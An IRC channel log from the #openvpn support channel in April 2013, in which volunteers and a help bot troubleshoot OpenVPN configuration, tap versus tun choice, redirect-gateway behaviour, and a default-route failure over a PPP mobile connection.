02:58 -!- defswork [~andy@141.0.50.105] has joined #openvpn
02:58 -!- defswork [~andy@141.0.50.105] has quit [Client Quit]
02:59 -!- brute11k [~brute@89.249.235.109] has joined #openvpn
03:12 -!- defswork [~andy@141.0.50.105] has joined #openvpn
03:13 -!- brute11k [~brute@89.249.235.109] has quit [Ping timeout: 276 seconds]
03:16 -!- brute11k [~brute@89.249.235.109] has joined #openvpn
03:19 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has quit [Ping timeout: 258 seconds]
03:19 -!- nastjuid [~nastjuid@c-76-102-128-160.hsd1.ca.comcast.net] has joined #openvpn
03:31 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
03:32 -!- marajobiala is now known as labiamajora
03:37 -!- omid8bimo [~omid@unaffiliated/omid8bimo] has joined #openvpn
03:38 < omid8bimo> hello, i have a tls-server setup, how can i create a .ovpn file to distribute between my users?
03:38 <@Eugene> Notepad, usually.
03:41 -!- Guest17191 is now known as dazp
03:41 -!- dazp is now known as dazo
03:46 -!- labiamajora [~labia@183.171.178.124] has quit [Read error: Connection reset by peer]
03:55 < kisom> I quote Torvalds: "Vi and Gnu Emacs suck!"
04:02 < omid8bimo> Eugene: ok how the syntax should look like?
04:02 <@Eugene> !howto
04:02 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
04:02 <@Eugene> Example configs are in there ^
04:16 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:39 -!- omid8bimo [~omid@unaffiliated/omid8bimo] has quit [Quit: WeeChat 0.4.0]
05:01 -!- Poster [~poster@oh-67-77-115-176.sta.embarqhsd.net] has quit [Ping timeout: 255 seconds]
05:10 < MacGyver> !list
05:10 <@vpnHelper> Admin, BadWords, Channel, ChannelLogger, Config, Factoids, FloodPrevent, Google, Misc, Owner, Relay, Seen, Services, User, Weather, and Web
05:10 < MacGyver> Not what I was looking for...
05:10 <@dazo> MacGyver: what are you looking for?
05:10 < MacGyver> Ah, but I think I've found it.
05:11 < MacGyver> dazo: Current mailing list archives.
05:12 < MacGyver> But google pointed me to the archive page on the site which in turn links to gmane and sourceforge, so solved.
05:12 <@dazo> !learn mailinglist as User's mailing list: http://thread.gmane.org/gmane.network.openvpn.user
05:12 <@vpnHelper> Joo got it.
05:13 <@dazo> !learn mailinglist as Developer's mailing list: http://thread.gmane.org/gmane.network.openvpn.devel
05:13 <@vpnHelper> Joo got it.
05:13 <@dazo> !mailinglist
05:13 <@vpnHelper> "mailinglist" is (#1) User's mailing list: http://thread.gmane.org/gmane.network.openvpn.user or (#2) Developer's mailing list: http://thread.gmane.org/gmane.network.openvpn.devel
05:21 -!- brute11k [~brute@89.249.235.109] has quit [Ping timeout: 245 seconds]
05:23 -!- brute11k [~brute@89.249.235.109] has joined #openvpn
05:25 -!- Sickness\ [~stront@unaffiliated/s-work] has quit [Read error: Operation timed out]
05:28 -!- brute11k1 [~brute@89.249.235.109] has joined #openvpn
05:30 -!- brute11k [~brute@89.249.235.109] has quit [Ping timeout: 264 seconds]
05:34 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
05:37 < MacGyver> Is the current state of openvpn's IPv6 support s.t. I can safely do both:
05:38 < MacGyver> -Setup a routed tunnel over IPv6 *or* IPv4, tunneling both IPv6 and IPv4, and
05:38 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
05:38 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
05:38 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
05:39 -!- Netsplit *.net <-> *.split quits: erry, @krzee, jgeboski
05:39 < MacGyver> -Setup a switched tunnel (TAP) over IPv6 *or* IPv4 s.t. my client is "directly" linked to the server-side IPv6 LAN, and uses e.g. all the server-side LAN services for SLAAC etc.
05:39 -!- jgeboski- is now known as jgeboski
05:40 < MacGyver> (The reason I'm asking is that back in december I consciously disabled IPv6 on the client I took with me to CCC because OpenVPN apparently didn't handle it very well yet.)
05:44 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has joined #openvpn
05:44 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has quit [Changing host]
05:44 -!- Sickness\ [~stront@unaffiliated/s-work] has joined #openvpn
05:44 < MacGyver> Oh, and while on the subject - suppose I have native IPv6 connectivity, but the other tunnel endpoint only listens on v4 (but does have v6 connectivity). I setup the tunnel over v4. Is there a redirect-gateway equivalent for v6 payload, and if used in this situation, will it ensure that my v6-traffic is tunneled over the v4-tunnel instead of going out through native v6?
05:44 -!- Netsplit over, joins: @krzee
05:46 -!- brute11k1 [~brute@89.249.235.109] has quit [Ping timeout: 252 seconds]
05:48 -!- erry_ is now known as erry
05:49 -!- brute11k [~brute@89.249.235.109] has joined #openvpn
06:05 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has left #openvpn ["Leaving"]
06:05 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
06:07 -!- brute11k1 [~brute@89.249.235.109] has joined #openvpn
06:09 -!- brute11k [~brute@89.249.235.109] has quit [Ping timeout: 252 seconds]
06:20 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
--- Log closed Mon Apr 08 06:27:47 2013
--- Log opened Mon Apr 08 06:28:03 2013
06:28 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
06:28 -!- Irssi: #openvpn: Total of 181 nicks [9 ops, 0 halfops, 2 voices, 170 normal]
06:28 -!- Irssi: Join to #openvpn was synced in 40 secs
06:29 -!- u0m3_ [~Radu@92.80.89.137] has joined #openvpn
06:29 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Read error: Connection reset by peer]
06:29 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has joined #openvpn
06:30 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
06:30 -!- u0m3 [~Radu@92.80.89.137] has quit [Ping timeout: 255 seconds]
06:57 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
06:58 < Nothing4You> hey there
06:58 < Nothing4You> i'm using openvpn 2.3.0, starting it with `openvpn --cd /etc/openvpn --config /etc/openvpn/myvpn.tcp.conf`. result is http://ix.io/54w
06:58 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:58 < Nothing4You> it fails doing `/usr/sbin/ip route add 142.4.223.230/32 via 0.0.0.0` to get a route to the vpn server i'm connecting to
06:59 < Nothing4You> with the error 'RTNETLINK answers: No such device'
07:00 < Nothing4You> my client config is http://ix.io/54x
07:03 < MacGyver> You're using a TAP device (tap0).
07:04 < Nothing4You> yeah
07:04 < Nothing4You> !configs
07:04 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
07:05 < Nothing4You> my OS is arch linux x64
07:05 < Nothing4You> why did you say that i'm using a tap device?
07:05 < MacGyver> Hmm. I wonder...
07:06 < MacGyver> I'm checking something to ensure I don't blab total nonsens.
07:06 < MacGyver> nonsense*
07:07 < Aketzu> ROUTE_GATEWAY ON_LINK IFACE=ppp0 ... so you are using it over modem/gprs/something?
07:08 < Nothing4You> yeah
07:08 < Nothing4You> mobile internet
07:09 < Nothing4You> last time i used it was with wlan, it was working fine then
07:09 < Aketzu> can you pastebin 'ip route' and 'ip addr' when you have just mobile network without openvpn
07:09 < Nothing4You> i don't know whether it's caused by using mobile internet now or some other updates
07:09 < Nothing4You> sure i can
07:10 < Nothing4You> `ip r` http://ix.io/54A
07:10 < Nothing4You> `ip a` http://ix.io/54B
07:11 < Aketzu> if openvpn tries to parse the first line then it expects 'default via x.x.x.x' which isn't there
07:11 < Nothing4You> does it try that?
07:12 < Aketzu> or something similar
07:13 < Aketzu> after openvpn connects (and before ping restart) try ip r a 142.4.223.230 via 10.64.64.64 dev ppp0
07:13 < Aketzu> that's what it probably should be doing
07:15 < Aketzu> although I'm not sure how that ppp0 routing works
07:17 < Aketzu> hmm... or then 'ip r a 142.4.223.230 dev ppp0' should work
07:17 < DrCode> hi all
07:17 < DrCode> can I use openvpn server without bridge?
07:17 < Aketzu> yes
07:18 < Nothing4You> it worked with that command
07:18 < Nothing4You> thanks
07:18 < Nothing4You> now i just need to get that working automatically
07:18 < Aketzu> sounds like a bug in openvpn
07:18 < Nothing4You> yeah
07:19 < Aketzu> workaround should work in some up-script
07:19 < Aketzu> or actually in dialup/ifup-scripts since you can add that when ppp0 interface goes up
07:19 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
07:20 < DrCode> I need to use tap or tun?
07:20 < Aketzu> you can only bridge tap but both work without bridges
07:21 < Nothing4You> where would i do that?
07:21 < DrCode> I see
07:22 < DrCode> I don't understnad why I use bridge
07:22 < DrCode> thankyou, I will check it later
07:22 < Aketzu> bridge is only needed for using same ip address pool, (really old) windows networking, ipx, ipv6 etc.
07:22 < Aketzu> Nothing4You: which distro?
07:22 < Nothing4You> arch linux
07:23 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:24 -!- You're now known as ecrist
07:24 -!- mode/#openvpn [+o ecrist] by ChanServ
07:24 < Aketzu> haven't used arch... ifplugd might do the trick
07:25 < Aketzu> in debian it's just few lines to /etc/network/interfaces
07:25 < MacGyver> Nothing4You: I'm on Arch.
07:25 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
07:25 < MacGyver> Nothing4You: Sec.
07:26 < MacGyver> Nothing4You: Have you migrated to systemd yet (you should've by now, but still)
07:26 < Nothing4You> sure
07:27 < Nothing4You> (i haven't been using arch before it was defaulting to systemd)
07:28 < MacGyver> Nothing4You: https://wiki.archlinux.org/index.php/Configuring_Network#Network_Interfaces should contain everything you need then.
07:28 <@vpnHelper> Title: Network Configuration - ArchWiki (at wiki.archlinux.org)
07:28 < Nothing4You> damn it i have a ping of ~22 sec right now
07:28 < Nothing4You> getting better
07:28 < Nothing4You> back to 3s
07:30 -!- master_o1_master [~master_of@p4FF24DFA.dip.t-dialin.net] has joined #openvpn
07:31 -!- mattock_afk is now known as mattock
07:31 < Nothing4You> ok, sounds like i need /etc/ppp/ip-up
07:31 < Nothing4You> actually i can't use it that easily i just realized
07:32 < Nothing4You> as i use different ips for different vpns
07:32 < Aketzu> just list them all
07:32 < Aketzu> you (hopefully) don't need vpn in vpn
07:32 < Nothing4You> i don't
07:33 < Nothing4You> they're "just" 50 ips
07:33 < Nothing4You> yay
07:33 -!- master_of_master [~master_of@p4FF244CE.dip.t-dialin.net] has quit [Ping timeout: 260 seconds]
07:33 < Nothing4You> 50 routes spamming `ip r`
07:34 < Aketzu> then it might be easier to write patch for openvpn :)
07:34 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
07:35 < MacGyver> Then I'd say, fix the routing on PPP s.t. openvpn's parsing doesn't fail, or fix openvpn's parsing.
07:36 < MacGyver> The former should be easy enough, I think?
07:45 < Nothing4You> `find /etc/openvpn -iname '*.conf' -type f -exec grep "remote " {} \;|awk '{print "ip route add " $2 " via 10.64.64.64 dev ppp0"}'|sort -u`
07:45 < Nothing4You> that helped me
07:47 < Nothing4You> then `sed 's/add/del/g' /etc/ppp/ip-up.d/10-openvpn-routes.sh > /etc/ppp/ip-down.d/10-openvpn-routes.sh`
07:47 < Aketzu> easy :)
07:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:51 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has quit [Ping timeout: 264 seconds]
07:52 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has joined #openvpn
07:53 < takamichi> Hi, when using the 'redirect-gateway def1' directive we have issues with clients where a DHCP renewal of the underlying network address causes the original default gateway to be restored with a higher priority than the VPN gateway. Google research shows me this issue is quite old. Can anyone confirm if there is a solution for this for Windows clients?
08:02 < takamichi> Thinking about it, I wonder if 'persist-tun' has anything to do with it. If I removed this directive, I assume that when the original gateway is restored the ping will not be routed and hence the 'ping-restart' directive will cause a 'SIGUSR1' restart on the client which without 'persist-tun' would restart the tap adapter. Would this restore the VPN as the default gateway? or perhaps it can be resolved through an up script which is
08:02 < takamichi>  executed on SIGUSR1.
08:02 < takamichi> Any advice or hints would be greatly appreciated.
08:06 < rob0> The point of def1 is to avoid priority problems. Your /0 (default) route will not affect the two /1 routes that openvpn set.
08:06 < rob0> !def1
08:06 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
08:07 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
08:09 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has quit [Ping timeout: 248 seconds]
08:10 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:13 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has joined #openvpn
08:19 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has joined #openvpn
08:23 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has quit [Client Quit]
09:19 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
09:22 -!- fluter [~fluter@fedora/fluter] has quit [Client Quit]
09:28 -!- mattock is now known as mattock_afk
09:30 -!- mattock_afk is now known as mattock
09:31 -!- u0m3_ [~Radu@92.80.89.137] has quit [Read error: Connection reset by peer]
09:34 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
09:34 -!- u0m3 [~Radu@92.80.73.197] has joined #openvpn
09:40 -!- tgunr [~davec@207.104.148.67] has joined #openvpn
09:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
09:50 -!- AndroUser2 [~androirc@101.229.199.34] has joined #openvpn
09:54 -!- jzaw [~jzaw@brama-pl.dzki.co.uk] has joined #openvpn
09:59 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:03 -!- jzaw [~jzaw@brama-pl.dzki.co.uk] has quit [Quit: Leaving]
10:08 -!- NuclearMeltdown [~rep@AntiLiberal-1-pt.tunnel.tserv9.chi1.ipv6.he.net] has joined #openvpn
10:11 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:12 -!- Orbi [~opera@46.246.35.29] has joined #openvpn
10:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:17 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has joined #openvpn
10:18 -!- raidz_away is now known as raidz
10:19 -!- jzaw [~jzaw@revo.dzki.co.uk] has joined #openvpn
10:20 -!- AndroUser2 [~androirc@101.229.199.34] has quit [Ping timeout: 245 seconds]
10:23 -!- tgunr [~davec@207.104.148.67] has quit [Quit: Nity nite]
10:31 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
10:42 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
10:45 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 260 seconds]
10:47 -!- tharkun [~0@187.188.166.5] has joined #openvpn
10:47 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
10:47 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
10:59 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 245 seconds]
11:09 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:10 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
11:29 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has joined #openvpn
11:30 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has quit [Client Quit]
11:35 -!- amir__ [~amir@unaffiliated/amir] has quit [Ping timeout: 264 seconds]
11:36 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has joined #openvpn
11:49 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
11:58 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
12:02 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
12:05 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
12:06 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
12:24 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:25 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
12:35 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:43 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has quit [Quit: Nity nite]
12:44 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
12:47 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has joined #openvpn
12:57 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Read error: Connection reset by peer]
12:58 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has quit [Quit: Nity nite]
12:58 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
13:14 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Quit: No Ping reply in 180 seconds.]
13:14 -!- pcdummy_ [~quassel@mx1.page4me.ch] has joined #openvpn
13:14 -!- TomM_ [~quassel@unaffiliated/tommehm] has joined #openvpn
13:15 -!- TommehM [~quassel@unaffiliated/tommehm] has quit [Ping timeout: 256 seconds]
13:40 < takamichi> !goal
13:40 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
13:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 256 seconds]
13:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:59 < AccessDenied> !openvpn
13:59 < AccessDenied> !setup
14:02 < AccessDenied> !goal
14:02 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:02 < AccessDenied> how to setup windows 7 OS when i have an openvpn software installed in my machine
14:03 < AccessDenied> i can connect the vpn server and after the connection is made it indicates that some ip was assigned
14:03 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
14:03 <@krzee> AccessDenied,
14:03 <@krzee> !goal
14:03 < AccessDenied> but when i try to check back my real ip to some website it still my actual ISP ip. How do i switch to run on the vpn network
14:03 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:03 <@krzee> !redirect
14:03 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:03 <@vpnHelper> http://ircpimps.org/redirect.png
14:04 < AccessDenied> arrite thanks/./
14:04 < AccessDenied> !def1
14:04 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
14:05 < AccessDenied> !man
14:05 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
14:05 < AccessDenied> !ipforward
14:05 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
14:07 < DrCode> hi all
14:07 < DrCode> I want to run openvpn server
14:07 < DrCode> I am using tap
14:07 < DrCode> I don't see in ifconfig tap
14:07 < DrCode> any idea?
14:07 < DrCode> so I need to use up.sh or somthing?
14:07 <@krzee> DrCode, what dont you see?
14:08 <@krzee> !goal
14:08 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:08 <@krzee> ^ DrCode
14:08 < DrCode> I don't see my local vpn ip
14:08 <@krzee> that wasnt the question
14:09 < DrCode> do I need to see in ifconfing tap0 or somthing?
14:09 <@krzee> what is your goal for your vpn, my answer will vary depending on your answer
14:09 < rob0> ifconfing
14:09 < DrCode> ok
14:09 < DrCode> I want to use openvpn server/client
14:09 < DrCode> I did use bridge and it worked
14:10 < DrCode> I use bridge between eth0.1 and br0
14:10 <@krzee> what is special about your vpn that it requires tap?
14:10 <@krzee> since you wont clearly state your goal
14:10 < DrCode> but I want to use my server without bridge
14:10 < DrCode> ok
14:10 < DrCode> do I need tap?
14:10 < DrCode> or tap is for bridge?
14:10 <@krzee> thats what im trying to figure out, but you wont clearly state your damn goal!
14:10 <@krzee> !tunortap
14:10 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
14:10 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
14:11 < DrCode> ok
14:12 < DrCode> I will try to change it into tun
14:13 < DrCode> ok
14:14 < Nothing4You> lan gaming requires tap?
14:14 < DrCode> how do I setup tun ip address
14:14 < Nothing4You> good to know
14:14 < Nothing4You> i guess last time i tried when it didn't work i tried to set it up as tun
14:14 <@krzee> Nothing4You, some do
14:14 < pekster> Nothing4You: Not strictly, but if you expect broadcasts to work (often used by "LAN Discovery" services in games) you'll need a Layer 2 ("Ethernet") protocol, which is tap. Tun is L3, or IP level.
14:14 -!- brute11k [~brute@89.249.235.109] has joined #openvpn
14:14 <@krzee> Nothing4You, if they use layer2 or broadcasts to communicate , then yes
14:15 -!- brute11k1 [~brute@89.249.235.109] has quit [Ping timeout: 252 seconds]
14:15 <@krzee> DrCode, --server as seen here:
14:15 <@krzee> !sample
14:15 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
14:15 < Nothing4You> the game was looking for lan hosts, no way to manually enter an ip
14:15 < Nothing4You> i guess that's why it didn't work as i used tun
14:16 <@krzee> yep probably so
14:16 < DrCode> I got TCP/UDP: Socket bind failed on local address [undef]:443: Address already in use
14:18 < pekster> Something else is listening on the socket. Try `netstat -nl` to see whwat
14:19 < Nothing4You> 443..
14:19 < Nothing4You> do you have an https server running?
14:19 < DrCode> ok
14:19 < DrCode> now it work
14:22 < DrCode> wow,
14:23 < DrCode> I use server-bridge to push ip adrees to client
14:23 < DrCode> what do I need to change in both client and server to get address?
14:31 -!- norgi [~norgi@luleavn-1x-246.studentby.uit.no] has joined #openvpn
14:33 < norgi> hey, i'm about setting up a layer 2 site to site connection using the tut on the website. There are 2 scripts needed that are hosted somewhere else and they are not acessible (the site is down). anyone knows where they might be? i have searched around but didn't find them, any other similar scripts do not seem to work.
14:40 < DrCode> if I have tap in windows and tun server in linux , it can work?
14:40 < DrCode> or I need both side to use tun?
14:40 < Nothing4You> both need to use the same iirc
14:41 -!- Devastator [~devas@186.214.15.152] has joined #openvpn
14:41 < DrCode> I see
14:41 < DrCode> I have windows that uses tap
14:41 -!- Devastator- [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
14:42 <@krzee> windows "tap" device does tun mode
14:42 < DrCode> It mean I need also to use tap in my linux, can I use tap without using bridge?
14:42 < DrCode> I see
14:42 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
14:42 < DrCode> strage , I can't ping to other side
14:42 <@krzee> and tap does not require bridge, but is not necessary unless you need layer2
14:42 <@krzee> !configs
14:42 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
14:42 <@krzee> or likely more importantly,
14:42 <@krzee> !logs
14:42 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:42 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
14:54 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
14:56 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
14:57 -!- vaillor2 [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
14:57 -!- vaillor_ [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
14:58 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 264 seconds]
15:01 -!- vaillor2 [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 264 seconds]
15:03 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
15:06 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
15:07 -!- dazo is now known as dazo_afk
15:09 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
15:13 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has joined #openvpn
15:24 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has quit [Ping timeout: 246 seconds]
15:27 < Nothing4You> damn it
15:27 < Nothing4You> i just noticed that it works if i add the route manually
15:27 < Nothing4You> but it removes the route when i disconnect -.-
15:28 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
15:28 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
15:30 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has joined #openvpn
15:31 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
15:35 < DrCode> thankyou
15:35 < DrCode> it worked
15:35 < DrCode> I move my bridge
15:45 <@krzee> hah so you needed layer2 to the lan after all?
15:46 -!- brute11k [~brute@89.249.235.109] has quit [Quit: Leaving.]
15:52 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has quit [Ping timeout: 245 seconds]
15:55 < Nothing4You> i just found this http://blog.wsensors.com/2011/04/openvpn-and-ppp-on-linux-vpn-traffic-forwarding-default-gateway-fix/
15:55 <@vpnHelper> Title: OpenVPN And PPP on Linux: VPN Traffic Forwarding Default Gateway Fix « A Logical Discourse (at blog.wsensors.com)
15:55 < Nothing4You> sounds like a fix for my problem
15:57 <@krzee> what is your problem?
15:57 <@krzee> oh redirect-gateway couldnt find the default gateway cause it was on ppp?
15:59 < Nothing4You> yeah
15:59 <@krzee> !learn ppp_defaultroute as if your otherwise working openvpn config can not redirect-gateway because its default gateway is ppp and openvpn complains it can not find the default gateway; you can try this:  http://blog.wsensors.com/2011/04/openvpn-and-ppp-on-linux-vpn-traffic-forwarding-default-gateway-fix/
15:59 <@vpnHelper> Joo got it.
15:59 < Nothing4You> it failed doing `/usr/sbin/ip route add 142.4.223.230/32 via 0.0.0.0` to get a route to the vpn server i'm connecting to when i launched openvpn
16:00 <@krzee> good find, let me know how it works
16:00 < Nothing4You> executed the script, deleted my old custom routes, lemme try to connect now
16:03 < Nothing4You> just tested, worked fine
16:03 < Nothing4You> error is gone, route is working
16:03 < pekster> What version of openvpn Nothing4You?
16:03 <@krzee> wonderful, i have seen that problem a few times over the years
16:04 < Nothing4You> 2.3.0
16:06 < pekster> Interesting. Looks like it blindly tries to use 0.0.0.0 if it doesn't pull the existing default gateway. A useful error would be far more helpful. Feel free to check the bug tracker and submit a new report if there isn't one already
16:07 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:14 -!- vaillor_ [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit []
